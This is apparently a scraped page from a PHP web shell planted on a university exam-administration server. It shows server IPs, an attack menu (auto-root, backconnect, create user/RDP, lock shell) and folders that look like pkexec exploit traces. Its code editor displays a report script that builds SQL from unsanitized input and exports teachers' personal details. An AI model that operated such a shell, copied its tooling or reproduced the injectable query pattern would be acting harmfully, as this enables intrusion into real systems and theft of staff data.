Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.177.226
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
univadmin /
Reports /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxrwxrwx
AdmApprovalRpt.php
8.81
KB
-rwxrwxrwx
AdmFee_Course_Coll_Cast_Hd.php
10.83
KB
-rwxrwxrwx
AdmFee_Course_Coll_Cast_HdEx.p...
11.33
KB
-rwxrwxrwx
AdmSumCourseColl.php
10.21
KB
-rwxrwxrwx
AdmisionDegReport.php
8.61
KB
-rwxrwxrwx
AdmissionReport.php
10.89
KB
-rwxrwxrwx
AuthoLetterReport.php
10.89
KB
-rwxrwxrwx
Centerwise_Collegewise_Student...
13.69
KB
-rwxrwxrwx
Cntrwiseanswerindent.php
8.05
KB
-rwxrwxrwx
CollCateGenWiseReport_excel.ph...
9.58
KB
-rwxrwxrwx
CollCateGenWiseSumryReport.php
13.15
KB
-rwxrwxrwx
CollCateGenWiseSumryReport_vsk...
13.1
KB
-rwxrwxrwx
CollwiseMalPracticeReport.php
9
KB
-rwxrwxrwx
DYPIndent.php
6.77
KB
-rwxrwxrwx
EGOV_generateBillReport.php
24.03
KB
-rwxrwxrwx
ExamAppSumCourseWiseExcel.php
10.55
KB
-rwxrwxrwx
ExamApplicationSummaryCoursewi...
11.31
KB
-rwxrwxrwx
ExamFeeDetails.php
15.42
KB
-rwxrwxrwx
ExamFeeDetailsExcel.php
14.41
KB
-rwxrwxrwx
ExamRegistrationRprt.php
12.47
KB
-rwxrwxrwx
ExmRegstDetReport.php
12.22
KB
-rwxrwxrwx
GenerateMCQKeyAns.php
5.88
KB
-rwxrwxrwx
Generatecollegeiamarkspendingr...
6.75
KB
-rwxrwxrwx
IAPendingRegNoWise.php
10.41
KB
-rwxrwxrwx
IAPendingRegWiseExcel.php
13.34
KB
-rwxrwxrwx
IAPendingRegWiseExcel_IA_tes.p...
11.63
KB
-rwxrwxrwx
LogReport.php
9.85
KB
-rwxrwxrwx
MPEXCEL.php
7.39
KB
-rwxrwxrwx
MasboardReport.php
5.67
KB
-rwxrwxrwx
MasboardReportPDF.php
6.77
KB
-rwxrwxrwx
PC_RV_Report.php
7.19
KB
-rwxrwxrwx
PRPENDING_REG_NO_WISE_Excel.ph...
10.59
KB
-rwxrwxrwx
PRPENDING_REG_NO_WISE_Excel_ol...
11.3
KB
-rwxrwxrwx
PRPendingDetailed_Report.php
9.38
KB
-rwxrwxrwx
PRPendingDetailed_excelnew.php
10.89
KB
-rwxrwxrwx
PracticalIndent.php
5.79
KB
-rwxrwxrwx
QPINDENT_SRN_WISE.php
7.02
KB
-rwxrwxrwx
QPINDENT_SRN_WISE_old.php
7.02
KB
-rwxrwxrwx
QpSummaryReport.php
14.87
KB
-rwxrwxrwx
QpcodewiseMalPracticeReport.ph...
9.22
KB
-rwxrwxrwx
RVRTFeeSummary.php
12.61
KB
-rwxrwxrwx
RV_RT_PC_Sum.php
10.64
KB
-rwxrwxrwx
RV_RT_PC_Sum_1.php
10.3
KB
-rwxrwxrwx
RV_RT_PC_Sum_2.php
10.27
KB
-rwxrwxrwx
ResultStatsCategoryWise.php
37.55
KB
-rwxrwxrwx
ResultStatsCollegeWise.php
13.2
KB
-rwxrwxrwx
ResultStatsDegreeWise.php
12.65
KB
-rwxrwxrwx
ResultStatsGenderWise.php
13.29
KB
-rwxrwxrwx
RvPcCheckList.php
8.29
KB
-rwxrwxrwx
RvPcListReport.php
12.37
KB
-rwxrwxrwx
RvPcListSummReport.php
11.88
KB
-rwxrwxrwx
RvRtFeeReportPDF.php
11.63
KB
-rwxrwxrwx
Template.php
9.99
KB
-rwxrwxrwx
Template_EXCEL.php
8.11
KB
-rwxrwxrwx
Template_PFD.php
7.07
KB
-rwxrwxrwx
UUCMSReport.php
5.32
KB
-rwxrwxrwx
ViewExamCentreNewReportexcel.p...
12.64
KB
-rwxrwxrwx
admReportDet.php
11.92
KB
-rwxrwxrwx
admapprovereport.php
10.17
KB
-rwxrwxrwx
admapprovereport_detailedexcel...
15.04
KB
-rwxrwxrwx
admapprovereport_summaryexcel....
11.49
KB
-rwxrwxrwx
admissionFeesummary.php
8.45
KB
-rwxrwxrwx
admissioncombinationwiseintake...
11.61
KB
-rwxrwxrwx
admsummmaryexcel.php
11.74
KB
-rwxrwxrwx
admsummmaryreport.php
11.31
KB
-rwxrwxrwx
assignUserMenus_.php
4
KB
-rwxrwxrwx
attendance_block_report.php
7.06
KB
-rwxrwxrwx
attendance_report_det.php
12.98
KB
-rwxrwxrwx
attupd.html
3.46
KB
-rwxrwxrwx
bundledispatch_pdf.php
6.32
KB
-rwxrwxrwx
candidatelist.php
10.53
KB
-rwxrwxrwx
catgoryWiseExamFeeReport.php
13.87
KB
-rwxrwxrwx
centerdegreesemister.php
15.99
KB
-rwxrwxrwx
centerwisedegreewiseqpwise.php
12.54
KB
-rwxrwxrwx
centerwiseqpwisestudentcount.p...
12.48
KB
-rwxrwxrwx
centerwisesemisterwise.php
19.21
KB
-rwxrwxrwx
centerwisestudentcount.php
12.51
KB
-rwxrwxrwx
centrewisedatewise_EXCEL.php
14.04
KB
-rwxrwxrwx
col_deg_sum_report.php
17.24
KB
-rwxrwxrwx
colgwiseDegWiseReport.php
11.18
KB
-rwxrwxrwx
college_reports_xl.php
15.03
KB
-rwxrwxrwx
college_wise_student_count.php
12.08
KB
-rwxrwxrwx
collwisedeglist.php
8.45
KB
-rwxrwxrwx
combwiseStudCunt.php
8.86
KB
-rwxrwxrwx
convodetexl.php
10.16
KB
-rwxrwxrwx
convosummary.php
6.59
KB
-rwxrwxrwx
createboeReport.php
8.41
KB
-rwxrwxrwx
dailyFeeDetReportExcel.php
13.61
KB
-rwxrwxrwx
dailyFeeDetReportPDF.php
12.88
KB
-rwxrwxrwx
dailyvaluationsummary.php
9.17
KB
-rwxrwxrwx
datewWiseValDet.php
8.71
KB
-rwxrwxrwx
decodeMissDet.php
6.12
KB
-rwxrwxrwx
degGrpReport.php
7.4
KB
-rwxrwxrwx
degreeEntryDet.php
10.25
KB
-rwxrwxrwx
degreeGroupReport.php
5.46
KB
-rwxrwxrwx
degreeListDetailed.php
8.92
KB
-rwxrwxrwx
degreeWiseCollegeList.pdf
8.16
KB
-rwxrwxrwx
degreeWiseCollegeList.php
8.83
KB
-rwxrwxrwx
degreeWiseCombinationList.php
6
KB
-rwxrwxrwx
degreeWiseStudentList.php
11.38
KB
-rwxrwxrwx
degreeWiseStudentlist_excel.ph...
9.57
KB
-rwxrwxrwx
degreeWiseSubjectList.php
13.58
KB
-rwxrwxrwx
degree_wise_student_list.php
12.06
KB
-rwxrwxrwx
degreesemister.php
13.44
KB
-rwxrwxrwx
degreewiseqpwise.php
9.96
KB
-rwxrwxrwx
digivalrpt.php
14.73
KB
-rwxrwxrwx
dispmarksreport.php
11.98
KB
-rwxrwxrwx
dispmarksreportclg.php
12.12
KB
-rwxrwxrwx
dispmarksreportdetailed.php
12.17
KB
-rwxrwxrwx
dispmarksreportdetailedclg.php
12.18
KB
-rwxrwxrwx
dispmarksreportsearch.php
11.36
KB
-rwxrwxrwx
dudCovid19Cert.php
6.19
KB
-rwxrwxrwx
duplicatePaymentReport.php
13.71
KB
-rwxrwxrwx
dygeneratebill.php
14.03
KB
-rwxrwxrwx
error_data_ssp.php
22.62
KB
-rwxrwxrwx
exaEeePaidCsv.php
7.68
KB
-rwxrwxrwx
exaEeePaidCsv1.php
7.46
KB
-rwxrwxrwx
examAppFeeDetReport.php
17.82
KB
-rwxrwxrwx
examApplicationFeeSummary.php
14.11
KB
-rwxrwxrwx
examCentrDetCSV.php
6.56
KB
-rwxrwxrwx
examCntrDetQPCSV.php
5.55
KB
-rwxrwxrwx
examTimeTableDegreeWiseExcel.p...
9.67
KB
-rwxrwxrwx
examTimeTableQPWiseExcel.php
8.74
KB
-rwxrwxrwx
exam_tot_student_count_semwise...
14.31
KB
-rwxrwxrwx
examapplicationdegwise.php
8.62
KB
-rwxrwxrwx
exmapp_reg_rep_count.php
11.07
KB
-rwxrwxrwx
exmapp_reg_rep_count_Report.ph...
15.69
KB
-rwxrwxrwx
exmfeedetnewexcel.php
19.38
KB
-rwxrwxrwx
export.php
1.29
KB
-rwxrwxrwx
feeCollection.php
16.96
KB
-rwxrwxrwx
feeReportHeadwise.php
11.18
KB
-rwxrwxrwx
feeReportHeadwisePDF.php
10.63
KB
-rwxrwxrwx
feeReportStudwise.php
12.78
KB
-rwxrwxrwx
feeReportStudwisePDF.php
9.41
KB
-rwxrwxrwx
feepaiddet.php
7.54
KB
-rwxrwxrwx
feepaiddet_1.php
8.52
KB
-rwxrwxrwx
gen_Upload_Report.php
6.73
KB
-rwxrwxrwx
genbonf_EXCEL.php
32.47
KB
-rwxrwxrwx
generateCollegeWiseStudListRep...
14.12
KB
-rwxrwxrwx
generateFeeSummaryReportLink.p...
42.89
KB
-rwxrwxrwx
genrteMailSentReportXL.php
8.64
KB
-rwxrwxrwx
getAbstractForm.php
14.76
KB
-rwxrwxrwx
getIaMarksReport.php
16.86
KB
-rwxrwxrwx
getRvPcDEGSummaryList.php
13.67
KB
-rwxrwxrwx
getStudCourseReport.php
7.47
KB
-rwxrwxrwx
getStudDeletedReport.php
6.5
KB
-rwxrwxrwx
getStudGraduandsReport.php
7.38
KB
-rwxrwxrwx
getStudHistoryReport.php
7.95
KB
-rwxrwxrwx
getStudentRegisteredReport.php
9.1
KB
-rwxrwxrwx
getnumword.php
7.45
KB
-rwxrwxrwx
getrvrtpcsum.php
12.57
KB
-rwxrwxrwx
iaMarksPendingReportStudentwis...
5.45
KB
-rwxrwxrwx
iamarksPendingReportSummary.ph...
6.06
KB
-rwxrwxrwx
iamarkssummry_pdf.php
8.87
KB
-rwxrwxrwx
logreports.php
16.41
KB
-rwxrwxrwx
mainSubjectLevelList.php
11.75
KB
-rwxrwxrwx
mark_list_studwise.php
11.75
KB
-rwxrwxrwx
marks_list_subwise.php
21.63
KB
-rwxrwxrwx
markspushexcel.php
9.1
KB
-rwxrwxrwx
mcfpendingReport.php
8.24
KB
-rwxrwxrwx
multiplePaymetReport.php
13.06
KB
-rwxrwxrwx
omrQpReport.php
30.07
KB
-rwxrwxrwx
omrQpReport_18092024.php
30.05
KB
-rwxrwxrwx
onlineservicereport.php
6.22
KB
-rwxrwxrwx
orderReportExcel.php
7.35
KB
-rwxrwxrwx
pendpaymentrpt.php
5.17
KB
-rwxrwxrwx
pgetFeedetl.php
7.01
KB
-rwxrwxrwx
pgetStatus.php
6.8
KB
-rwxrwxrwx
pgetStudentList.php
7.13
KB
-rwxrwxrwx
pget_invigilator_dairy.php
8.84
KB
-rwxrwxrwx
photoCopyPendingList.php
9.89
KB
-rwxrwxrwx
profile.php
3.58
KB
-rwxrwxrwx
qpWiseSubjectList.php
10.09
KB
-rwxrwxrwx
qpWiseSubjectList_123.php
7.38
KB
-rwxrwxrwx
qpcodewisestudentcount.php
8.59
KB
-rwxrwxrwx
qpm_absent_report.php
7.84
KB
-rwxrwxrwx
qpwiseactivestudcount.php
23.39
KB
-rwxrwxrwx
qpwisestdcountcsv.php
5.57
KB
-rwxrwxrwx
qpwisestdcountcsv_old.php
5.7
KB
-rwxrwxrwx
reconReport.php
9.56
KB
-rwxrwxrwx
reconReportExcel.php
8.5
KB
-rwxrwxrwx
reconReportSummaryExcel.php
8.18
KB
-rwxrwxrwx
refundApplications.php
9.62
KB
-rwxrwxrwx
remunerationReportPdf.php
17.19
KB
-rwxrwxrwx
report.html
232
B
-rwxrwxrwx
report_candidate_list.php
16.09
KB
-rwxrwxrwx
report_degree_list.php
4.81
KB
-rwxrwxrwx
report_merit_list.php
10.62
KB
-rwxrwxrwx
report_merit_list_old.php
10.47
KB
-rwxrwxrwx
report_merit_list_test.php
10.99
KB
-rwxrwxrwx
report_ra_invigilators_dairy.p...
15.09
KB
-rwxrwxrwx
reports.html
9.1
KB
-rwxrwxrwx
reports.js
1.87
KB
-rwxrwxrwx
revaQpindentCsv.php
10.44
KB
-rwxrwxrwx
revaQpindentCsv_old.php
6.89
KB
-rwxrwxrwx
reva_fee_sum.php
24.12
KB
-rwxrwxrwx
roomsummary.php
12.01
KB
-rwxrwxrwx
roomsummaryCollection.php
10.71
KB
-rwxrwxrwx
roomsummarydetail.php
14.16
KB
-rwxrwxrwx
roomwise_register_nos_list.php
8.46
KB
-rwxrwxrwx
rvpcreportpdf.php
15.1
KB
-rwxrwxrwx
screen1.png
70.59
KB
-rwxrwxrwx
ssp_marks_status_report.php
8.04
KB
-rwxrwxrwx
studentWiseReport.php
8.48
KB
-rwxrwxrwx
studwiseCollList.php
8.81
KB
-rwxrwxrwx
studwiseCollListExl.php
10.19
KB
-rwxrwxrwx
sublistexcel.php
9.58
KB
-rwxrwxrwx
sublisting.php
2.22
KB
-rwxrwxrwx
tatkal.php
5.87
KB
-rwxrwxrwx
tdvs_report.php
10.61
KB
-rwxrwxrwx
tdvs_report_board.php
5.83
KB
-rwxrwxrwx
tdvs_report_script.php
6.31
KB
-rwxrwxrwx
teachCsv.php
5
KB
-rwxrwxrwx
teachWorkDone.php
16.75
KB
-rwxrwxrwx
teach_report.php
11.21
KB
-rwxrwxrwx
teacher_report.php
11.56
KB
-rwxrwxrwx
teacher_val_report.php
10.16
KB
-rwxrwxrwx
teachersList.php
15.11
KB
-rwxrwxrwx
testkannda.php
10.36
KB
-rwxrwxrwx
testkannda_pra.php
877
B
-rwxrwxrwx
testrep.html
17.88
KB
-rwxrwxrwx
timeTableClashReport.php
17.66
KB
-rwxrwxrwx
univAdmDeg.php
6.04
KB
-rwxrwxrwx
uploaded_qp_details.php
7.61
KB
-rwxrwxrwx
userTypeList.php
8.09
KB
-rwxrwxrwx
valuationSummaryReport.php
16.18
KB
-rwxrwxrwx
valuationstatsReport.php
15.67
KB
-rwxrwxrwx
valuatorExcelReport.php
8.54
KB
-rwxrwxrwx
valuatorReport.php
10.27
KB
-rwxrwxrwx
verifyappRpt.php
9.4
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachersList.php
<?php ini_set('max_execution_time', 60); $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); date_default_timezone_set('GMT+5:30'); // PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Browser'); /** Include PHPExcel */ $pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php'; require_once($pdf_writer_class); function getheaders($objPHPExcel, $fileName) { //To Fit To Page while printing $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0); $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true); $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false); ob_end_clean(); // ob_start(); // Redirect output to a client’s web browser (Excel5) header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="' . $fileName . '.xls"'); header('Cache-Control: max-age=0'); // If you're serving to IE 9, then the following may be needed header('Cache-Control: max-age=1'); // If you're serving to IE over SSL, then the following may be needed header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified header('Cache-Control: cache, must-revalidate'); // HTTP/1.1 header('Pragma: public'); // HTTP/1.0 ob_end_clean(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); } function reportAdmFeeSummary($result, $aobj_context) { $objPHPExcel = new PHPExcel(); $fileName = 'TeachersList'; $objPHPExcel->getProperties()->setCreator("Me") ->setLastModifiedBy("Me")->setTitle("My Excel Sheet") ->setSubject("My Excel Sheet")->setDescription("Excel Sheet") ->setKeywords("Excel Sheet")->setCategory("Me"); // $objPHPExcel->setOutputEncoding('UTF-8'); // Set active sheet index to the first sheet, so Excel opens this as the first sheet $objPHPExcel->setActiveSheetIndex(0); $objPHPExcel->getActiveSheet()->setTitle($fileName); $objPHPExcel->getActiveSheet()->getPageSetup() ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $aobj_context->mobj_db->GetRow($get_coll_name); $objPHPExcel->getActiveSheet()->getHeaderFooter() ->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME); $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N'); // Add column headers and make them bold $styleArray = array( 'borders' => array( 'allborders' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => '000000'), ), ), ); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->freezePane('A1'); $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl. No.'); $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Board'); $objPHPExcel->getActiveSheet()->setCellValue('C1', 'College Code'); $objPHPExcel->getActiveSheet()->setCellValue('D1', 'College Name'); $objPHPExcel->getActiveSheet()->setCellValue('E1', 'Teach. Code'); $objPHPExcel->getActiveSheet()->setCellValue('F1', 'Qp Code'); $objPHPExcel->getActiveSheet()->setCellValue('G1', 'Title'); $objPHPExcel->getActiveSheet()->setCellValue('H1', 'Teacher Name'); $objPHPExcel->getActiveSheet()->setCellValue('I1', 'Gender'); $objPHPExcel->getActiveSheet()->setCellValue('J1', 'Designation'); $objPHPExcel->getActiveSheet()->setCellValue('K1', 'Qualification'); $objPHPExcel->getActiveSheet()->setCellValue('L1', 'Salary Scale'); $objPHPExcel->getActiveSheet()->setCellValue('M1', 'Fulltime'); $objPHPExcel->getActiveSheet()->setCellValue('N1', 'Permanent'); $objPHPExcel->getActiveSheet()->setCellValue('O1', 'Date of Birth'); $objPHPExcel->getActiveSheet()->setCellValue('P1', 'Date of Join'); $objPHPExcel->getActiveSheet()->setCellValue('Q1', 'Date of Join(UGC)'); $objPHPExcel->getActiveSheet()->setCellValue('R1', 'Experience'); $objPHPExcel->getActiveSheet()->setCellValue('S1', 'Experience (UGC)'); $objPHPExcel->getActiveSheet()->setCellValue('T1', 'Mobile No.'); $objPHPExcel->getActiveSheet()->setCellValue('U1', 'Phone No.'); $objPHPExcel->getActiveSheet()->setCellValue('V1', 'Email ID'); $objPHPExcel->getActiveSheet()->setCellValue('W1', 'Address'); $objPHPExcel->getActiveSheet()->setCellValue('X1', 'Update Date'); $objPHPExcel->getActiveSheet()->setCellValue('Y1', 'Remarks'); $objPHPExcel->getActiveSheet()->setCellValue('Z1', 'Status'); $objPHPExcel->getActiveSheet()->getStyle('A1:Z1')->applyFromArray($styleArray); // $objPHPExcel->getActiveSheet()->getColumnDimension('G1')->setAutoSize(true); $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(40); $objPHPExcel->getActiveSheet()->getStyle('A1:Z1')->getAlignment()->setWrapText(true); $objPHPExcel->getActiveSheet()->getStyle('A1:Z1')->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A1:Z1')->getAlignment() ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); // $objPHPExcel->getActiveSheet()->freezePane('A1'); $objPHPExcel->getActiveSheet()->freezePane('A2'); $j = 2; $slNo = 1; $sum = array(); $totamt=0; $totapp=0; // setlocale(LC_ALL, 'hi_IN'); // var_dump($result);die(); foreach ($result as $key => $value) { $objPHPExcel->getActiveSheet()->setCellValue('A' . $j, $slNo) ->getColumnDimension('A')->setwidth(5); $objPHPExcel->getActiveSheet()->setCellValue('B' . $j, $value['fboard']) ->getColumnDimension('B')->setwidth(10.43); $objPHPExcel->getActiveSheet()->setCellValue('C' . $j, $value['fcollcode']) ->getColumnDimension('C')->setwidth(10.43); $objPHPExcel->getActiveSheet()->setCellValue('D' . $j, $value['fcollname']) ->getColumnDimension('D')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('E' . $j, $value['fteachcode']) ->getColumnDimension('E')->setwidth(10); //$value['fqpcode'] $objPHPExcel->getActiveSheet()->setCellValue('F' . $j, '') ->getColumnDimension('F')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('G' . $j, $value['ftitle']) ->getColumnDimension('G')->setwidth(7); $objPHPExcel->getActiveSheet()->setCellValue('H' . $j, $value['fteachname']) ->getColumnDimension('H')->setwidth(40); $objPHPExcel->getActiveSheet()->setCellValue('I' . $j, $value['fgender']) ->getColumnDimension('I')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('J' . $j, $value['fdegndesc']) ->getColumnDimension('J')->setwidth(25); $objPHPExcel->getActiveSheet()->setCellValue('K' . $j, $value['fqual']) ->getColumnDimension('K')->setwidth(25); $objPHPExcel->getActiveSheet()->setCellValue('L' . $j, $value['fscale']) ->getColumnDimension('L')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('M' . $j, $value['ffulltime']) ->getColumnDimension('M')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('N' . $j, $value['fpermanent']) ->getColumnDimension('N')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('O' . $j, $value['fdob']) ->getColumnDimension('O')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('P' . $j, $value['fdoa']) ->getColumnDimension('P')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('Q' . $j, $value['FDOJUGC']) ->getColumnDimension('Q')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('R' . $j, $value['FEXP']) ->getColumnDimension('R')->setwidth(15); $objPHPExcel->getActiveSheet()->setCellValue('S' . $j, $value['FEXPUGC']) ->getColumnDimension('S')->setwidth(15); $objPHPExcel->getActiveSheet()->setCellValue('T' . $j, $value['fmobile']) ->getColumnDimension('T')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('U' . $j, $value['fphone']) ->getColumnDimension('U')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('V' . $j, $value['femail']) ->getColumnDimension('V')->setwidth(40); $objPHPExcel->getActiveSheet()->setCellValue('W' . $j, $value['faddress']) ->getColumnDimension('W')->setwidth(60); $objPHPExcel->getActiveSheet()->setCellValue('X' . $j, $value['fmoddate']) ->getColumnDimension('X')->setwidth(17); $objPHPExcel->getActiveSheet()->setCellValue('Y' . $j, $value['fremarks']) ->getColumnDimension('Y')->setwidth(30); $objPHPExcel->getActiveSheet()->setCellValue('Z' . $j, $value['fstatus']) ->getColumnDimension('Z')->setwidth(12); // $totamt += $value['fee']; // $totapp += $value['fcnt']; $objPHPExcel->getActiveSheet()->getStyle('A' . $j.':C'. $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('E' . $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('G' . $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('I' . $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('M' . $j.':U'. $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('X' . $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('Z' . $j)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30); $j++; $slNo++; } $objPHPExcel->getActiveSheet()->getStyle('A2' . ':Z' . $j)->applyFromArray($styleArray); getheaders($objPHPExcel, $fileName); } function teachersList($aobj_context) { $deggrp = $aobj_context->mobj_data["deggrp"]; $univcode = $aobj_context->mobj_data["univcode"]; // $board = $aobj_context->mobj_data["board"]; $college = $aobj_context->mobj_data["college"]; $teach = $aobj_context->mobj_data["teach"]; // if($boardfrom == 'all'){ // $cnd = ''; // }else{ // $cnd = "and fboard <> ''"; // } // foreach($deggrp as $key => $value){ // $deg .= "'".$value."',"; // } // $deggrp_arr = substr_replace($deg, "",-1); $deggrp_arr= (explode(",",$deggrp)); foreach($deggrp_arr as $key => $value){ $deg .= "'".$value."',"; } $deggrp_array = substr_replace($deg ,"",-1); $college_arr= (explode(",",$college)); foreach($college_arr as $key => $value){ $col .= "'".$value."',"; } $college_array = substr_replace($col ,"",-1); $teach_arr= (explode(",",$teach)); foreach($teach_arr as $key => $value){ $tea .= "'".$value."',"; } $teach_array = substr_replace($tea ,"",-1); if($college == 'all'){ $cndcol = ''; }else{ $cndcol = "AND a.fcollcode in ({$college_array})"; } if($teach == 'all'){ $cndteach = ''; }else{ $cndteach = "AND a.fteachcode in ({$teach_array})"; } $query = "select if(ifnull(a.fboard,'null') = 'null', '',a.fboard) as fboard,a.fcollcode, concat(c.fcollname, ', ', c.ftown) as fcollname, a.fteachcode, group_concat(if(ifnull(ts.fqpcode,'') = '','',concat(ts.fqpcode,' - ', mq.fsubname)) ) as fqpcode, a.ftitle, a.fteachname, a.fgender, b.fdegndesc, a.fqual, a.fscale,a.ffulltime, a.fpermanent, date_format(a.fdob,'%d/%m/%Y') as fdob,date_format(a.fdoa, '%d/%m/%Y') as fdoa, if(ifnull(FDOJUGC,'-undefined') = '-undefined', '', date_format(FDOJUGC, '%d/%m/%Y')) as FDOJUGC, concat(TIMESTAMPDIFF( YEAR, FDOA, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOA, now()) % 12, ' Mon.') as FEXP, if(ifnull(FDOJUGC,'-undefined') <> '-undefined', concat(TIMESTAMPDIFF(YEAR, FDOJUGC, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOJUGC, now()) % 12, ' Mon.'), '') as FEXPUGC, a.fmobile, a.fphone, a.femail, concat( faddr1, ' \n', faddr2, ' \n', faddr3, ' \n', faddr4 ) as faddress, date_format(a.flogdate, '%d/%m/%Y %h:%i') as fmoddate, a.fremarks, fstatus from masteach a inner join college c on a.fcollcode = c.fcollcode inner join masdegn b on a.fdegncode = b.fdegncode inner join masqp mq on mq.fdeggrp = a.fdeggrp left join teachsub ts on ts.fqpcode = mq.fqpcode and a.fteachcode = ts.fteachcode where fstatus = 'WORKING' and a.fdeggrp in ({$deggrp_array}) $cndcol $cndteach group by a.fteachcode order by a.fcollcode, a.fteachcode"; // var_dump($query);die(); $result = $aobj_context->pobj_db->GetAll($query); reportAdmFeeSummary($result, $aobj_context); } function moneyFormatIndia($num) { $explrestunits = ""; if (strlen($num) > 3) { $lastthree = substr($num, strlen($num) - 3, strlen($num)); $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for ($i = 0; $i < sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if ($i == 0) { $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i] . ","; } } $thecash = $explrestunits . $lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. }
Close